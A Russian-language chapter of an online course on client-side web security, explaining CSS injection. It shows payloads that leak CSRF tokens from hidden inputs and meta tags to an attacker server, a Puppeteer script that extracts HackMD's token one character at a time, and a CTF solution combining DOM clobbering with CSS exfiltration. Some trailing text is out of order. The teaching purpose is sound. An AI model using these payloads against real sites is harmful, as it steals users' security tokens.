Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Что такое CSS Injection?
  • Кража данных с помощью CSS
  • Первая возможность - это селекторы атрибутов.
  • Stealing hidden input
  • Stealing meta
  • Stealing data from HackMD
  • CSS injection в сочетании с другими уязвимостями
  • Заключение
  1. Глава 3 - Атаки без JavaScript

CSS Injection - Атака с использованием только CSS (Часть 1)

PreviousTemplate Injection in Frontend - CSTINextCSS Injection - Атака с использованием только CSS (Часть 2)

Last updated 8 months ago

В предыдущих частях мы рассматривали различные атаки, такие как Prototype Pollution и DOM-Clobbering, которые манипулируют выполнением JavaScript для получения неожиданных результатов. Иными словами, JavaScript в конечном итоге отвечает за импакт, причиненный этими атаками.

Теперь давайте рассмотрим несколько методов атаки, которые могут иметь эффект без использования JavaScript. Первым, о котором мы поговорим, будет инъекция CSS.

Если у вас есть опыт работы с фронт-эндом, вы, возможно, уже знаете, что CSS - это мощный инструмент. Например, вы можете создать:

1. 2. 3.

Да, вы правильно прочитали. Эти примеры созданы с использованием чистого CSS и HTML, без единой строки JavaScript. CSS действительно волшебен.

Но как CSS может быть использован в качестве средства атаки?

Что такое CSS Injection?

Как следует из названия, инъекция CSS означает возможность вставить любой синтаксис CSS или, более конкретно, использовать тег <style> на веб-странице.

На мой взгляд, существует два распространенных сценария. Первый - когда веб-сайт фильтрует многие теги, но пропускает тег <style>, считая его безопасным. Например, DOMPurify, который часто используется для санитизации, по умолчанию фильтрует различные опасные теги, оставляя только безопасные, такие как <h1> или <p>. Однако <style> включен в список безопасных тегов по умолчанию. Поэтому, если не установлены конкретные параметры, <style> не попадет под фильтр, что позволяет злоумышленникам внедрять CSS.

Второй сценарий - когда можно вводить HTML, но выполнение JavaScript предотвращается благодаря политике Content Security Policy (CSP). В этом случае, поскольку JavaScript невозможно выполнить, злоумышленники прибегают к использованию CSS для осуществления опасных действий.

Так что можно добиться с помощью инъекции CSS? Разве CSS не используется просто для стилизации веб-страниц? Может ли изменение цвета фона страницы считаться атакой?

Кража данных с помощью CSS

Хотя CSS преимущественно используется для стилизации веб-страниц, он может быть использован с двумя функциями для кражи данных.

Первая возможность - это селекторы атрибутов.

В CSS есть несколько селекторов, которые могут целиться на элементы с атрибутами, которые соответствуют определенным условиям. Например, input[value^=a] выбирает элементы, значение которых начинается на "a".

Некоторые похожие селекторы включают:

1. input[value^=a] (prefix) выбирает элементы, значение которых начинается на "a". 2. input[value$=a] (suffix) выбирает элементы, значение которых заканчивается на "a". 3. input[value*=a] (contains) выбирает элементы, значение которых содержит "a".

Вторая особенность - возможность отправлять запросы с использованием CSS, например, загружая фоновое изображение с сервера, что по сути является отправкой запроса.

Допустим, у нас есть следующее содержимое на веб-странице: <input name="secret" value="abc123">. Если я могу внедрить CSS, я могу написать следующее:

input[name="secret"][value^="a"] {  
  background: url(https://myserver.com?q=a);
}

input[name="secret"][value^="b"] {  
  background: url(https://myserver.com?q=b);
}

input[name="secret"][value^="c"] {  
  background: url(https://myserver.com?q=c);
}

/* .... */

input[name="secret"][value^="z"] {  
  background: url(https://myserver.com?q=z);
}

Что произойдет?

Следовательно, когда сервер получит этот запрос, он узнает, что атрибут "value" ввода начинается с буквы "a", успешно крадя первый символ.

Вот почему с помощью CSS можно красть данные. Объединив селекторы атрибутов с возможностью загрузки изображений, сервер может определить значение атрибута определенного элемента на веб-странице.

Теперь, когда мы подтвердили, что CSS может красть значения атрибутов, давайте обратимся к двум вопросам:

1. Что можно украсть? 2. Вы продемонстрировали только кражу первого символа, как можно украсть второй символ?

Начнем с первого вопроса. Что можно украсть? Обычно это конфиденциальные данные, верно?

Самой распространенной целью является токен CSRF. Если вы не знакомы с CSRF, я обсужу это в будущей статье.

Вкратце, если токен CSRF украден, это может привести к атакам CSRF. Просто считайте этот токен важным. Обычно токен CSRF хранится в скрытом поле ввода, типа так:

<form action="/action">
  <input type="hidden" name="csrf-token" value="abc123">
  <input name="username" placeholder="Enter your username">
  <input type="submit" value="Submit">
</form>

Как мы можем украсть данные внутри?

Stealing hidden input

Для скрытых полей ввода наш предыдущий метод не сработает:

input[name="csrf-token"][value^="a"] {  
  background: url(https://example.com?q=a);
}

Поскольку тип ввода скрыт, этот элемент не будет отображаться на экране. Поскольку он не отображается, браузеру не нужно загружать фоновое изображение, поэтому сервер не получит никаких запросов. Это ограничение очень строгое, и даже использование display:block !important; не может его переопределить.

Что же нам делать? Не волнуйтесь, у нас есть еще один вариант селектора, вот так:

input[name="csrf-token"][value^="a"] + input {  
  background: url(https://example.com?q=a);
}

В конце дополнительно указан + input. Этот плюс - это другой селектор, означающий "выбрать элемент, который идет после". Таким образом, вместе селектор означает "я хочу выбрать ввод с именем 'csrf-token' и значением, начинающимся с 'a', который идет после ввода с именем 'username'". Другими словами, <input name="username">.

Таким образом, фоновое изображение действительно загружается другим элементом, который не имеет type=hidden, поэтому изображение будет загружено нормально.

Но что, если после него нет других элементов? Например, как здесь:

<form action="/action">
  <input name="username" placeholder="Enter your username">
  <input type="submit" value="Submit">
  <input type="hidden" name="csrf-token" value="abc123">
</form>
form:has(input[name="csrf-token"][value^="a"]) {  
  background: url(https://example.com?q=a);
}

С :has, мы, по сути, непобедимы, потому что можем указать, какой родительский элемент меняет фон. Таким образом, мы можем выбирать, что нам угодно.

Stealing meta

Помимо помещения данных в скрытые поля ввода, некоторые веб-сайты также помещают данные в теги <meta>, например, <meta name="csrf-token" content="abc123">. Мета-теги также являются невидимыми элементами. Как мы можем их украсть?

Во-первых, как упоминалось в конце предыдущего абзаца, has - это абсолютный способ кражи. Мы можем сделать это так:

html:has(meta[name="csrf-token"][content^="a"]) {  
  background: url(https://example.com?q=a);
}

Но кроме того, есть другие способы кражи.

Хотя теги <meta> также невидимы, в отличие от скрытых полей ввода, мы можем сделать этот элемент видимым с помощью CSS:

meta {  
  display: block;  
}

meta[name="csrf-token"][content^="a"] {  
  background: url(https://example.com?q=a);
}

Но этого недостаточно. Вы заметите, что запрос все еще не отправляется. Это потому, что <meta> находится под <head>, а у <head> есть свойство display:none по умолчанию. Поэтому нам также нужно специально настроить <head>, чтобы сделать <meta> "видимым":

head, meta {  
  display: block;  
}

meta[name="csrf-token"][content^="a"] {  
  background: url(https://example.com?q=a);
}

Так, написав это, браузер отправит запрос. Однако на экране ничего не отобразится, потому что, в конце концов, content — это атрибут, а не текстовый узел HTML, поэтому он не будет отображаться на экране. Но сам элемент meta на самом деле видим, поэтому запрос отправляется:

Если вы действительно хотите отобразить содержимое на экране, это можно сделать с помощью псевдо-элементов с attr:

meta:before {  
  content: attr(content);
}

Тогда вы увидите содержимое, находящееся внутри мета-тега, отображаемое на экране.

Наконец, давайте рассмотрим практический пример.

Stealing data from HackMD

Токен CSRF в HackMD размещен в двух местах, одно из них - скрытый ввод, а другое - мета-тег, с таким содержимым:

<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">

И HackMD на самом деле поддерживает использование <style>, этот тег не будет отфильтрован, поэтому вы можете написать любой стиль. Связанный CSP выглядит так:

img-src * data:;style-src 'self' 'unsafe-inline' https://assets-cdn.github.comhttps://github.githubassets.com  https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com;font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; 

Как вы можете видеть, разрешен unsafe-inline, поэтому вы можете вставить любой CSS.

После подтверждения того, что можно вставить CSS, вы можете начать подготовку к краже данных. Помните неотвеченный вопрос ранее, "Как украсть символы после первого?" Позвольте ответить на него с примером HackMD.

Во-первых, токены CSRF обычно изменяются при обновлении страницы, поэтому вы не можете обновлять страницу. К счастью, HackMD поддерживает обновления в реальном времени. Когда содержимое меняется, оно немедленно отражается на экранах других клиентов. Таким образом, возможно "обновление стилей без обновления страницы". Процесс следующий:

1. Подготовьте style для кражи первого символа и вставьте его в HackMD. 2. Жертва открывает страницу. 3. Сервер получает запрос на первый символ. 4. Сервер обновляет содержимое HackMD и заменяет его на нагрузку, чтобы украсть второй символ. 5. Страница жертвы обновляется в реальном времени и загружает новый стиль. 6. Сервер получает запрос на второй символ. 7. Повторите этот процесс, пока не украдены все символы.

Простая схема потока следующая:

Код следующий:

const puppeteer = require('puppeteer');
const express = require('express');

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf';
const host = 'http://localhost:3000';
const baseUrl = host + '/extract?q=';
const port = process.env.PORT || 3000;

(async function() {
  const app = express();
  const browser = await puppeteer.launch({
    headless: true
  });
  const page = await browser.newPage();
  await page.setViewport({ width: 1280, height: 800 });
  await page.setRequestInterception(true);

  page.on('request', request => {
    const url = request.url();
    // cancel request to self
    if (url.includes(baseUrl)) {
      request.abort();
    } else {
      request.continue();
    }
  });

  app.listen(port, () => {
    console.log(`Listening at http://localhost:${port}`);
    console.log('Waiting for server to get ready...');
    startExploit(app, page);
  });
})();

async function startExploit(app, page) {
  let currentToken = '';
  await page.goto(noteUrl + '?edit');

  // @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
  await page.addStyleTag({ content: "{scroll-behavior: auto !important;}" });
  const initialPayload = generateCss();
  await updateCssPayload(page, initialPayload);
  console.log(`Server is ready, you can open ${noteUrl}?view on the browser`);

  app.get('/extract', (req, res) => {
    const query = req.query.q;
    if (!query) return res.end();
    console.log(`query: ${query}, progress: ${query.length}/36`);
    currentToken = query;

    if (query.length === 36) {
      console.log('over');
      return;
    }

    const payload = generateCss(currentToken);
    updateCssPayload(page, payload);
    res.end();
  });
}

async function updateCssPayload(page, payload) {
  await sleep(300);
  await page.click('.CodeMirror-line');
  await page.keyboard.down('Meta');
  await page.keyboard.press('A');
  await page.keyboard.up('Meta');
  await page.keyboard.press('Backspace');
  await sleep(300);
  await page.keyboard.sendCharacter(payload);
  console.log('Updated css payload, waiting for next request');
}

function generateCss(prefix = "") {
  const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');
  return `${prefix}<style>
    head, meta {
      display: block;
    }
    ${csrfTokenChars.map(char => `
      meta[name="csrf-token"][content^="${prefix + char}"] {
        background: url(${baseUrl}${prefix + char});
      }
    `).join('\n')}
  </style>`;
}

Вы можете запустить его с помощью Node.js. После запуска откройте соответствующий документ в браузере, и вы сможете увидеть прогресс утечки в терминале.

Однако, даже если вам удастся украсть токен CSRF HackMD, вы все равно не сможете выполнить атаку CSRF, потому что HackMD на сервере проверяет другие заголовки HTTP-запросов, такие как origin или referer, чтобы убедиться, что запрос исходит из корректного источника.

CSS injection в сочетании с другими уязвимостями

В мире кибербезопасности творчество и воображение имеют большое значение. Иногда сочетание нескольких небольших уязвимостей может увеличить их степень серьезности. В данном случае хочу поделиться примером задачи CTF, которая сочетает инъекцию CSS с другой уязвимостью, которую я нахожу довольно интересной.

Целью атаки является блог, написанный на React, и целью является успешное кража данных со страницы /home. Вы можете добавлять статьи, а содержимое статей отображается с помощью следующего метода:

<div dangerouslySetInnerHTML={{ __html: body }}></div>

Как уже упоминалось ранее, современные фреймворки для front-end автоматически кодируют вывод, поэтому нет нужды беспокоиться о проблемах с XSS. Однако, dangerouslySetInnerHTML в React означает: "Это не страшно, просто установи innerHTML напрямую", поэтому вы можете вставить любой HTML здесь. Но проблема в правилах CSP: script-src 'self'; object-src 'none'; base-uri 'none';.

Эти правила очень строгие. script может быть загружен только из того же источника, в то время как для других элементов, таких как стиль, нет ограничений. Очевидно, что мы можем использовать инъекцию CSS для кражи данных со страницы.

Однако есть еще одна проблема. URL статей - /posts/:id, а данные, которые мы хотим украсть, находятся на странице /home. CSS не может влиять на другие страницы. Даже если мы можем использовать iframe для встраивания страницы /home, мы не можем внедрить стиль на эту страницу.

Что мы можем сделать в этом случае?

На этом этапе мне пришла в голову идея: использовать элемент iframe с srcdoc, с помощью этого мы можем создать новую страницу, где снова отобразим React App:

<iframe 
    srcdoc="
        <div id='root'></div>
        <script type='module' crossorigin src='/assets/index.7352e15a.js'></script>"
    height="1000px" 
    width="500px">
</iframe>

Однако консоль показывает ошибку, связанную с react-router:

react-router - это библиотека, используемая для маршрутизации на стороне клиента. Базовое использование выглядит примерно так, указывая, какой компонент соответствует какому пути:

ReactDOM.createRoot(document.getElementById('root')).render(
  <React.StrictMode>
    <ChakraProvider>
      <BrowserRouter>
        <Routes>
          <Route path="/" element={<Index />} />
          <Route path="/register" element={<Register />} />
          <Route path="/login" element={<Login />} />
          <Route path="/home" element={<Home />} />
          <Route path="/post/:id" element={<Post />} />
        </Routes>
      </BrowserRouter>
    </ChakraProvider>
  </React.StrictMode>
);
export function createBrowserHistory(
  options: BrowserHistoryOptions = {}
): BrowserHistory {
  let { window = document.defaultView! } = options;
  let globalHistory = window.history;

  function getIndexAndLocation(): [number, Location] {
    let { pathname, search, hash } = window.location;
    // ...
  }

  // ...
}

Это в конечном итоге определяется window.location.pathname, и ключевым моментом является то, что этот window происходит от document.defaultView, вкратце, document.defaultView.location.pathname.

Что это значит? Это означает, что мы можем переопределить его с помощью DOM clobbering!

Ранее мы упоминали, что мы не можем переопределять существующие свойства окна, поэтому мы не можем переопределить window.location. Однако для document все иначе; мы можем переопределить document.

Если мы разместим <iframe name=defaultView src="/home"> на странице, тогда document.defaultView будет contentWindow этого iframe, а src здесь - это /home, которая имеет тот же источник. Следовательно, мы можем получить доступ к document.defaultView.location.pathname и получить pathname страницы /home, отображая содержимое главной страницы внутри iframe.

Таким образом, мы можем сочетать это с инъекцией CSS, которую мы обнаружили ранее. Пример показан ниже:

<iframe 
    srcdoc="
        iframe /home below<br>
        <iframe name='defaultView' src='/home'></iframe><br>
        iframe /home above<br>
        <style>
            a[href^='/post/0'] {
                background: url(//myserver?c=0);
            }
            a[href^='/post/1'] {
                background: url(//myserver?c=1);
            }
        </style>
        react app below<br>
        <div id='root'></div>
        <script type='module' crossorigin src='/assets/index.7352e15a.js'></script>"
    height="1000px" 
    width="500px">
</iframe>

Интерфейс будет выглядеть так:

Мы повторно отобразили React-приложение в srcdoc iframe, и через DOM clobbering это приложение React отобразило другую страницу. Используя инъекцию CSS, мы можем украсть данные и достичь нашей цели.

Заключение

В этой части мы рассмотрели принцип использования CSS для кражи данных, который сводится к использованию "селектора атрибутов" в сочетании с функциональностью "загрузки изображений". Мы также продемонстрировали, как красть данные из скрытых полей ввода и мета-тегов, используя HackMD в качестве практического примера.

Однако еще остаются некоторые неурегулированные вопросы, такие как:

1. В HackMD можно загрузить новые стили без обновления страницы благодаря его синхронизации контента в реальном времени. А как насчет других сайтов? Как мы можем украсть символы за первым? 2. Если мы можем украсть только один символ за один раз, не займет ли это много времени? Это возможно на практике? 3. Есть ли способ украсть что-то кроме атрибутов? Например, текстовое содержимое на странице или даже код JavaScript? 4. Какие есть механизмы защиты от этой техники атаки?

На эти вопросы будет дан ответ в следующем посте.

Так как правило успешно целится на соответствующий элемент, фон ввода будет состоять из изображения с сервера, заставляя браузер отправить запрос на .

В этом случае, в прошлом это было невозможно, потому что CSS не имел селектора для выбора "предыдущих элементов". Но теперь всё иначе, потому что у нас есть . Этот селектор может выбирать "элементы ниже, которые соответствуют конкретным условиям", например:

Это означает, что я хочу выбрать форму "ниже (ввод, который соответствует этому условию)". Таким образом, форма будет загружать фон, а не скрытый ввод. Этот селектор :has достаточно новый и официально поддерживается, начиная с Chrome 105, выпущенного в конце августа 2022 года. В настоящее время только стабильная версия Firefox еще не поддерживает его. Дополнительные сведения см. на:

DOMException: Failed to execute 'replaceState' on 'History': A history state object with URL 'about:srcdoc' cannot be created in a document with origin '' and URL 'about:srcdoc'.

Вы когда-нибудь задумывались, как он определяет текущий путь? Если вы посмотрите на код , вы увидите следующий раздел:

Это задание из corCTF 2022 modernblog и создано @strellic. Для получения дополнительной информации вы можете обратиться к подробному объяснению:

Tic-tac-toe
Bullet hell game
3D game
https://myserver.com?q=a
:has
caniuse
http://localhost:8080
createBrowserHistory
corCTF 2022 writeup - modernblog